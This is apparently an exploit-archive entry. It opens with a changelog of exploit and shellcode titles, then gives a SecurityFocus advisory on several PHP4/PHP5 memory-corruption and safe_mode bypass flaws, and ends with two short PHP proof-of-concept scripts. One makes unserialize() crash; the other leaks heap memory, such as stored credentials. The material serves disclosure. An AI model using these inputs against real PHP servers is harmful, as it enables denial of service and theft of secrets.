880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
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source: https://www.securityfocus.com/bid/11964/info
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PHP4 and PHP5 are reported prone to multiple local and remote vulnerabilities that may lead to code execution within the context of the vulnerable process. The following specific issues are reported:
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A heap-based buffer overflow is reported to affect the PHP 'pack()' function call. An attacker that has the ability to make the PHP interpreter run a malicious script may exploit this condition to execute arbitrary instructions in the context of the vulnerable process.
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A heap-based memory disclosure vulnerability is reported to affect the PHP 'unpack()' function call. An attacker that has the ability to make the PHP interpreter run a malicious script may exploit this condition to reveal portions of the process heap.
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PHP safe_mode_exec_dir is reported prone to an access control bypass vulnerability. A local attacker that can manipulate the directory name from which the PHP script is called, may bypass 'safe_mode_exec_dir' restrictions by placing shell metacharacters and restricted commands into the directory name of the current directory.
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PHP safe_mode is reported prone to an access control bypass vulnerability. An attacker that has the ability to make the PHP interpreter run a malicious script may exploit this condition to execute commands that are otherwise restricted by PHP safe_mode.
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PHP is reported prone to a 'realpath()' path truncation vulnerability. The vulnerability exists due to a lack of sanitization as to whether a path has been silently truncated by the libc realpath() function or not. This may lead to remote file include vulnerabilities in some cases.
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The PHP function 'unserialize()' is reported prone to a memory corruption vulnerability. This corruption may be leveraged by a remote attacker that has the ability to make the PHP interpreter run a malicious script to execute arbitrary code in the context of the vulnerable process.
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The PHP function 'unserialize()' is also reported prone to an information disclosure vulnerability. This issue may be leveraged by a remote attacker to disclose the contents of heap memory. This may allow them to gain access to potentially sensitive information, such as database credentials.
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Finally, the PHP function 'unserialize()', is reported prone to an additional vulnerability. It is reported that previous versions of this function allow a malicious programmer to set references to entries of a variable hash that have already been freed. This can lead to remote memory corruption.
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EXAMPLE script - "Segfault":
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---cut here---
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<?
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$s = 's:9999999:"A";"';
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$a = unserialize($s);
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print $a;
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?>
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---cut here---
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EXAMPLE script - "Memory Dump":
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---cut here---
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<?
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// session- and stuff
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$secret_username="uaaaa";
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$secret_password="hoschi";
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// stuff
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// $c = $_COOKIE ['crypted_stuff']
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// $c = some cookie
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/* simplyfied --> userinput */ $c = 's:30000:"crap";';
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$userdata = unserialize($c);
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//
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// check $userdata stuff
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// for some reason output $userdata
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print $userdata . "\n is NOT valid !!\n";
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// stuff
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?>
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---cut here--- |